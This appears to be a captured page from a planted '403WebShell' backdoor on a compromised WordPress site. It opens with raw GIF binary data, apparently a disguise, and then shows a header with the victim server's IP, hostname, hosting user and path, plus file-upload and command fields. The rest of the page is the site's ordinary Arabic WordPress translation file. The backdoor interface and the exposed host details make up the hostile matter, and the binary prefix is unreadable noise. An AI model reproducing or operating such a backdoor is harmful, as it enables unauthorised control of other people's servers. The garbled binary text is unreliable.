GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/gootech.app/wp-content/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/gootech.app/wp-content/languages/ar.po
# Translation of WordPress - 6.2.x - Development in Arabic
# This file is distributed under the same license as the WordPress - 6.2.x - Development package.
msgid ""
msgstr ""
"PO-Revision-Date: 2023-04-02 02:42:13+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=6; plural=(n == 0) ? 0 : ((n == 1) ? 1 : ((n == 2) ? 2 : ((n % 100 >= 3 && n % 100 <= 10) ? 3 : ((n % 100 >= 11 && n % 100 <= 99) ? 4 : 5))));\n"
"X-Generator: GlotPress/4.0.0-alpha.4\n"
"Language: ar\n"
"Project-Id-Version: WordPress - 6.2.x - Development\n"

#. translators: Use this to specify the proper Google Font name and variants to
#. load that is supported by your language. Do not translate. Set to 'off' to
#. disable loading.
#: wp-includes/script-loader.php:1595
#, gp-priority: high
msgctxt "Google Font Name and Variants"
msgid "Noto Serif:400,400i,700,700i"
msgstr "Noto Serif:400,400i,700,700i"

#. translators: If comment number in your language requires declension,
#. translate this to 'on'. Do not translate into your own language.
#: wp-includes/comment-template.php:944
#, gp-priority: high
msgctxt "Comment number declension: on or off"
msgid "off"
msgstr "on"

#. translators: Translate this to the correct language tag for your locale, see
#. https://www.w3.org/International/articles/language-tags/ for reference. Do
#. not translate into your own language.
#: wp-includes/general-template.php:877
#, gp-priority: high
msgid "html_lang_attribute"
msgstr "ar"

#. translators: If months in your language require a genitive case, translate
#. this to 'on'. Do not translate into your own language.
#: wp-includes/functions.php:345
#, gp-priority: high
msgctxt "decline months names: on or off"
msgid "off"
msgstr "off"

#. translators: If your word count is based on single characters (e.g. East
#. Asian characters), enter 'characters_excluding_spaces' or
#. 'characters_including_spaces'. Otherwise, enter 'words'. Do not translate
#. into your own language.
#: wp-includes/class-wp-locale.php:428 wp-includes/js/dist/editor.js:12583
#: wp-includes/js/dist/editor.js:12622
#, gp-priority: high
msgctxt "Word count type. Do not translate!"
msgid "words"
msgstr "words"

#: wp-includes/admin-bar.php:168
#: wp-includes/widgets/class-wp-widget-meta.php:91 wp-login.php:123
#: wp-admin/admin-footer.php:38 wp-admin/includes/upgrade.php:258
#: wp-admin/maint/repair.php:24 wp-admin/upgrade.php:69
#, gp-priority: high
msgid "https://wordpress.org/"
msgstr "https://ar.wordpress.org/"

#. translators: If there are characters in your language that are not supported
#. by Open Sans, translate this to 'off'. Do not translate into your own
#. language.
#: wp-includes/script-loader.php:1505
#, gp-priority: high
msgctxt "Open Sans font: on or off"
msgid "on"
msgstr "on"

#. translators: Localized date format, see
#. https://www.php.net/manual/datetime.format.php
#. translators: Date format, see https://www.php.net/manual/datetime.format.php
#. translators: 1: Name of most recent post author, 2: Post edited date, 3:
#. Post edited time.
#. translators: 1: Post edited date, 2: Post edited time.
#. translators: 1: Post creation date, 2: Post creation time.
#. translators: Default date format, see
#. https://www.php.net/manual/datetime.format.php
#. translators: 1: Date, 2: Time.
#: wp-includes/class-wp-locale.php:395 wp-includes/media.php:4157
#: wp-includes/script-loader.php:155 wp-includes/script-loader.php:438
#: wp-admin/admin.php:113 wp-admin/edit-form-advanced.php:627
#: wp-admin/edit-form-advanced.php:630 wp-admin/includes/ajax-actions.php:1611
#: wp-admin/includes/ajax-actions.php:2850
#: wp-admin/includes/ajax-actions.php:2853
#: wp-admin/includes/class-wp-application-passwords-list-table.php:70
#: wp-admin/includes/class-wp-application-passwords-list-table.php:85
#: wp-admin/includes/class-wp-application-passwords-list-table.php:225
#: wp-admin/includes/class-wp-application-passwords-list-table.php:228
#: wp-admin/includes/class-wp-privacy-policy-content.php:383
#: wp-admin/includes/dashboard.php:672 wp-admin/includes/media.php:1695
#: wp-admin/includes/schema.php:435 wp-admin/options-general.php:317
#: wp-admin/options-general.php:348 wp-admin/update-core.php:1057
#, gp-priority: high
msgid "F j, Y"
msgstr "j F، Y"

#. translators: Localized date and time format, see
#. https://www.php.net/manual/datetime.format.php
#. translators: Date/Time format, see
#. https://www.php.net/manual/datetime.format.php
#. translators: Links last updated date format, see
#. https://www.php.net/manual/datetime.format.php
#: wp-includes/class-wp-locale.php:399 wp-includes/script-loader.php:156
#: wp-includes/script-loader.php:440 wp-admin/includes/schema.php:439
#, gp-priority: high
msgid "F j, Y g:i a"
msgstr "j F، Y g:i a"

#. translators: 'rtl' or 'ltr'. This sets the text direction for WordPress.
#: wp-includes/class-wp-locale.php:246 wp-includes/script-loader.php:319
#: wp-includes/js/dist/i18n.js:1485
#, gp-priority: high
msgctxt "text direction"
msgid "ltr"
msgstr "rtl"

#. translators: Opening curly double quote.
#: wp-includes/formatting.php:84 wp-includes/formatting.php:5590
#, gp-priority: high
msgctxt "opening curly double quote"
msgid "&#8220;"
msgstr "&#8220;"

#. translators: Closing curly double quote.
#: wp-includes/formatting.php:86
#, gp-priority: high
msgctxt "closing curly double quote"
msgid "&#8221;"
msgstr "&#8221;"

#. translators: Opening curly single quote.
#: wp-includes/formatting.php:97
#, gp-priority: high
msgctxt "opening curly single quote"
msgid "&#8216;"
msgstr "&#8216;"

#. translators: Closing curly single quote.
#: wp-includes/formatting.php:99
#, gp-priority: high
msgctxt "closing curly single quote"
msgid "&#8217;"
msgstr "&#8217;"

#. translators: Weekday.
#: wp-includes/class-wp-locale.php:148
#, gp-priority: high
msgid "Sunday"
msgstr "الأحد"

#. translators: Weekday.
#: wp-includes/class-wp-locale.php:150
#, gp-priority: high
msgid "Tuesday"
msgstr "الثلاثاء"

#. translators: Weekday.
#: wp-includes/class-wp-locale.php:151
#, gp-priority: high
msgid "Wednesday"
msgstr "الأربعاء"

#. translators: Weekday.
#: wp-includes/class-wp-locale.php:152
#, gp-priority: high
msgid "Thursday"
msgstr "الخميس"

#. translators: Weekday.
#: wp-includes/class-wp-locale.php:153
#, gp-priority: high
msgid "Friday"
msgstr "الجمعة"

#. translators: Weekday.
#: wp-includes/class-wp-locale.php:154
#, gp-priority: high
msgid "Saturday"
msgstr "السبت"

#. translators: Month name.
#: wp-includes/class-wp-locale.php:175 wp-includes/js/dist/components.js:54013
#, gp-priority: high
msgid "January"
msgstr "يناير"

#. translators: Month name.
#: wp-includes/class-wp-locale.php:176 wp-includes/js/dist/components.js:54016
#, gp-priority: high
msgid "February"
msgstr "فبراير"

#. translators: Month name.
#: wp-includes/class-wp-locale.php:177 wp-includes/js/dist/components.js:54019
#, gp-priority: high
msgid "March"
msgstr "مارس"

#. translators: Month name.
#: wp-includes/class-wp-locale.php:178 wp-includes/js/dist/components.js:54022
#, gp-priority: high
msgid "April"
msgstr "أبريل"

#. translators: Month name.
#: wp-includes/class-wp-locale.php:179 wp-includes/js/dist/components.js:54025
#, gp-priority: high
msgid "May"
msgstr "مايو"

#. translators: Month name.
#: wp-includes/class-wp-locale.php:180 wp-includes/js/dist/components.js:54028
#, gp-priority: high
msgid "June"
msgstr "يونيو"

#. translators: Month name.
#: wp-includes/class-wp-locale.php:181 wp-includes/js/dist/components.js:54031
#, gp-priority: high
msgid "July"
msgstr "يوليو"

#. translators: Month name.
#: wp-includes/class-wp-locale.php:182 wp-includes/js/dist/components.js:54034
#, gp-priority: high
msgid "August"
msgstr "أغسطس"

#. translators: Month name.
#: wp-includes/class-wp-locale.php:183 wp-includes/js/dist/components.js:54037
#, gp-priority: high
msgid "September"
msgstr "سبتمبر"

#. translators: Month name.
#: wp-includes/class-wp-locale.php:184 wp-includes/js/dist/components.js:54040
#, gp-priority: high
msgid "October"
msgstr "أكتوبر"

#. translators: Month name.
#: wp-includes/class-wp-locale.php:185 wp-includes/js/dist/components.js:54043
#, gp-priority: high
msgid "November"
msgstr "نوفمبر"

#. translators: Month name.
#: wp-includes/class-wp-locale.php:186 wp-includes/js/dist/components.js:54046
#, gp-priority: high
msgid "December"
msgstr "ديسمبر"

#. translators: Weekday.
#: wp-includes/class-wp-locale.php:149
#, gp-priority: high
msgid "Monday"
msgstr "الإثنين"

#. translators: $thousands_sep argument for https://www.php.net/number_format,
#. default is ','
#: wp-includes/class-wp-locale.php:226
#, gp-priority: high
msgid "number_format_thousands_sep"
msgstr "٬"

#. translators: $dec_point argument for https://www.php.net/number_format,
#. default is '.'
#: wp-includes/class-wp-locale.php:234
#, gp-priority: high
msgid "number_format_decimal_point"
msgstr "."

#: wp-includes/category-template.php:162
#: wp-includes/js/dist/block-editor.js:22965
#: wp-includes/js/dist/block-editor.js:22970
#: wp-includes/js/dist/block-editor.js:23970
#: wp-includes/js/dist/edit-post.js:5026 wp-admin/includes/upgrade.php:158
#, gp-priority: high
msgid "Uncategorized"
msgstr "غير مصنف"

#: wp-includes/block-patterns.php:64 wp-includes/block-patterns.php:141
msgctxt "Block pattern category"
msgid "Posts"
msgstr "المقالات"

#: wp-includes/block-patterns.php:85
msgctxt "Block pattern category"
msgid "Team"
msgstr "الفريق"

#: wp-includes/block-patterns.php:113
msgctxt "Block pattern category"
msgid "About"
msgstr "نبذة عن"

#: wp-includes/block-patterns.php:39
msgctxt "Block pattern category"
msgid "Banners"
msgstr "البانرات"

#: wp-includes/blocks/page-list-item/block.json
msgctxt "block keyword"
msgid "page"
msgstr "صفحة"

#: wp-includes/blocks/post-author-name/block.json
msgctxt "block description"
msgid "The author name."
msgstr "اسم الكاتب."

#: wp-includes/blocks/post-author-name/block.json
msgctxt "block title"
msgid "Post Author Name"
msgstr "اسم كاتب المقالة"

#: wp-includes/js/dist/edit-site.js:9707 wp-admin/includes/theme.php:340
msgid "Style Variations"
msgstr "تنوعات التنسيقات"

#: wp-includes/js/dist/block-library.js:54810 wp-admin/admin.php:338
#: wp-admin/import.php:19 wp-admin/menu.php:372
msgid "Import"
msgstr "استيراد"

#: wp-includes/js/dist/block-editor.js:31976
#: wp-admin/includes/class-wp-posts-list-table.php:1959
#: wp-admin/includes/class-wp-posts-list-table.php:1962
msgid "Sticky"
msgstr "مثتبة"

#: wp-includes/js/dist/block-editor.js:32213
#: wp-includes/js/dist/block-editor.js:51755 wp-admin/widgets-form.php:299
msgid "Position"
msgstr "الموضع"

#: wp-login.php:1250
msgid "https://wordpress.org/documentation/article/cookies/"
msgstr "https://wordpress.org/documentation/article/cookies/"

#: wp-includes/html-api/class-wp-html-tag-processor.php:719
msgid "Too many bookmarks: cannot create any more."
msgstr "عدد كبير جدا من الإشارات المرجعية: لا يمكن إنشاء المزيد."

#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:293
msgid "The block types which can use this pattern."
msgstr "أنواع المكوّنات التي يمكنها استخدام هذا النمط."

#: wp-includes/user.php:3271
msgid "https://wordpress.org/documentation/article/reset-your-password/"
msgstr "https://wordpress.org/documentation/article/reset-your-password/"

#: wp-includes/media-template.php:559
#: wp-admin/includes/class-wp-media-list-table.php:871
#: wp-admin/includes/media.php:3350
msgid "Download file"
msgstr "تنزيل الملف"

#: wp-includes/script-loader.php:1297
msgid "https://wordpress.org/documentation/article/site-editor/"
msgstr "https://wordpress.org/documentation/article/site-editor/"

#: wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:265
msgid "An array of template types where the pattern fits."
msgstr "مصفوفة من أنواع القوالب حيث يلائم النمط."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:146
msgid "The category description, in human readable format."
msgstr "وصف التصنيف، بصيغة قابلة للقراءة."

#: wp-includes/html-api/class-wp-html-tag-processor.php:2136
msgid "The query argument must be an array or a tag name."
msgstr "يجب أن تكون وسيطة الاستعلام مصفوفة أو اسم وسم."

#: wp-includes/html-api/class-wp-html-tag-processor.php:1825
msgid "Invalid attribute name."
msgstr "معرِّف سمة غير صالح."

#: wp-includes/html-api/class-wp-html-tag-processor.php:1497
msgid "Too many calls to seek() - this can lead to performance issues."
msgstr "العديد من الاستدعاءات لطلبها() - يمكن أن يؤدي ذلك إلى مشكلات في الأداء."

#: wp-includes/html-api/class-wp-html-tag-processor.php:1488
msgid "Unknown bookmark name."
msgstr "اسم إشارة مرجعية غير معروف."

#: wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:53
msgid "https://wordpress.org/documentation/article/manage-wordpress-widgets/"
msgstr "https://wordpress.org/documentation/article/manage-wordpress-widgets/"

#: wp-includes/block-patterns.php:92
msgctxt "Block pattern category"
msgid "Testimonials"
msgstr "شهادات وتوصيات"

#: wp-includes/block-patterns.php:78
msgctxt "Block pattern category"
msgid "Call to Action"
msgstr "دعوة لاتخاذ إجراء"

#: wp-includes/block-patterns.php:86
msgid "A variety of designs to display your team members."
msgstr "مجموعة متنوعة من التصاميم لتعرض أعضاء فريقك."

#: wp-includes/block-patterns.php:93
msgid "Share reviews and feedback about your brand/business."
msgstr "مشاركة المراجعات والتعليقات حول علامتك التجارية/عملك."

#: wp-includes/block-patterns.php:99
msgctxt "Block pattern category"
msgid "Services"
msgstr "الخدمات"

#: wp-includes/block-patterns.php:100
msgid "Briefly describe what your business does and how you can help."
msgstr "صف بإيجاز ما يفعله عملك وكيف يمكنك المساعدة."

#: wp-includes/block-patterns.php:106
msgctxt "Block pattern category"
msgid "Contact"
msgstr "معلومات الاتصال"

#: wp-includes/block-patterns.php:107
msgid "Display your contact information."
msgstr "اعرض معلومات الاتصال الخاصة بك."

#: wp-includes/block-patterns.php:114
msgid "Introduce yourself."
msgstr "قدم نفسك."

#: wp-includes/block-patterns.php:120
msgctxt "Block pattern category"
msgid "Portfolio"
msgstr "محفظة أعمال"

#. translators: %d is the post ID.
#: wp-includes/blocks/post-featured-image.php:39
msgid "Untitled post %d"
msgstr "مقال بدون عنوان %d"

#: wp-includes/admin-bar.php:178
msgid "https://wordpress.org/documentation/"
msgstr "https://wordpress.org/documentation/"

#. translators: %s is post ID to describe the link for screen readers.
#: wp-includes/blocks/read-more.php:26
msgid "untitled post %s"
msgstr "مقالة بدون عنوان %s"

#. translators: %s: plugins_loaded
#: wp-includes/class-wp-user-query.php:784
msgid "User queries should not be run before the %s hook."
msgstr "استعلامات المستخدم ينبغي أن تنفذ قبل الخُطاف %s."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:215
msgid "Sorry, you are not allowed to view terms for this post."
msgstr "عذرًا، لا يُسمح لك بمشاهدة عناصر هذهِ المقالة."

#: wp-includes/block-supports/typography.php:301
msgid "Raw size value must be a string, integer, or float."
msgstr "يجب أن تكون قيمة الحجم الأولي سلسلة نصية أو عددًا صحيحًا أو عددًا عشريًا."

#: wp-includes/blocks/comments/block.json
msgctxt "block title"
msgid "Comments"
msgstr "تعليقات"

#: wp-includes/blocks/categories/block.json
msgctxt "block title"
msgid "Categories List"
msgstr "قائمة التصنيفات"

#: wp-includes/blocks/comments-pagination-previous/block.json
msgctxt "block title"
msgid "Comments Previous Page"
msgstr "تعليقات الصفحة السابقة"

#: wp-includes/blocks/comments-pagination-numbers/block.json
msgctxt "block title"
msgid "Comments Page Numbers"
msgstr "أرقام صفحات التعليقات"

#: wp-includes/blocks/comments-pagination-next/block.json
msgctxt "block title"
msgid "Comments Next Page"
msgstr "التعليقات الصفحة التالية"

#: wp-includes/blocks/list-item/block.json
msgctxt "block description"
msgid "Create a list item."
msgstr "إنشاء عنصر قائمة."

#: wp-includes/blocks/list-item/block.json
msgctxt "block title"
msgid "List item"
msgstr "عنصر قائمة"

#: wp-includes/js/dist/edit-post.js:7608 wp-admin/edit-form-blocks.php:140
#: wp-admin/includes/class-wp-posts-list-table.php:1842
#: wp-admin/includes/meta-boxes.php:1054
msgid "Default template"
msgstr "القالب الافتراضي"

#. translators: %s: Number of comments
#. translators: %s: Number of comments.
#: wp-includes/js/dist/block-library.js:38151
#: wp-admin/includes/class-wp-list-table.php:805
msgid "%s comment"
msgid_plural "%s comments"
msgstr[0] "%s تعليق"
msgstr[1] "%s تعليق واحد"
msgstr[2] "%s تعليقان"
msgstr[3] "%s تعليقات"
msgstr[4] "%s تعليق"
msgstr[5] "%s تعليق"

#: wp-signup.php:639
msgid "Create a site or only a username:"
msgstr "إنشاء موقع أو اسم مستخدم فقط:"

#: wp-signup.php:120
msgid "Site Domain (subdomain only):"
msgstr "نطاق الموقع (النطاق الفرعي فقط):"

#: wp-signup.php:118
msgid "Site Name (subdirectory only):"
msgstr "اسم الموقع (الدليل الفرعي فقط):"

#: wp-includes/user.php:5007
msgid "The date and time the preferences were updated."
msgstr "التاريخ والوقت التي تم حفظ التفضيلات فيه."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:80
msgid "The slug of the template to get the fallback for"
msgstr "الاسم اللطيف للقالب للحصول على النموذج الاحتياطي"

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:361
msgid "If the value is a string, the value will be used as the archive slug. If the value is false the post type has no archive."
msgstr "إذا كانت القيمة سلسلة نصية، فإن القيمة ستُستخدم كاسم لطيف للأرشيف. إذا كانت القيمة false، فإن نوع المحتوى لن يمتلك أرشيفًا."

#: wp-includes/revision.php:567
msgid "Revisions not enabled."
msgstr "المراجعات غير مُفعلة."

#: wp-includes/theme.php:4045
msgid "Whether the theme disables generated layout styles."
msgstr "ما إذا كان القالب يقوم بتعطيل تنسيقات التخطيط التي تم إنشاؤها أم لا."

#: wp-includes/theme.php:3855
msgid "Whether a theme uses block-based template parts."
msgstr "ما إذا كان القالب يستخدم أجزاء قوالب مستندة إلى المكوّنات."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:85
msgid "Indicates if a template is custom or part of the template hierarchy"
msgstr "يشير إلى ما إذا كان القالب مخصصًا أو جزءًا من التسلسل الهرمي للقالب"

#: wp-includes/style-engine/class-wp-style-engine-processor.php:51
msgid "$store must be an instance of WP_Style_Engine_CSS_Rules_Store"
msgstr "يجب أن يكون $store مثيلاً لـ WP_Style_Engine_CSS_Rules_Store"

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:89
msgid "The template prefix for the created template. This is used to extract the main template type, e.g. in `taxonomy-books` extracts the `taxonomy`"
msgstr "بادئة القالب للقالب الذي تم إنشاؤه. يستخدم هذا لإستخراج نوع القالب الرئيسي، على سبيل المثال في \"فئة-الكتب\" يستخرج \"فئة\""

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:731
msgid "Public facing and editor style handle. DEPRECATED: Use `style_handles` instead."
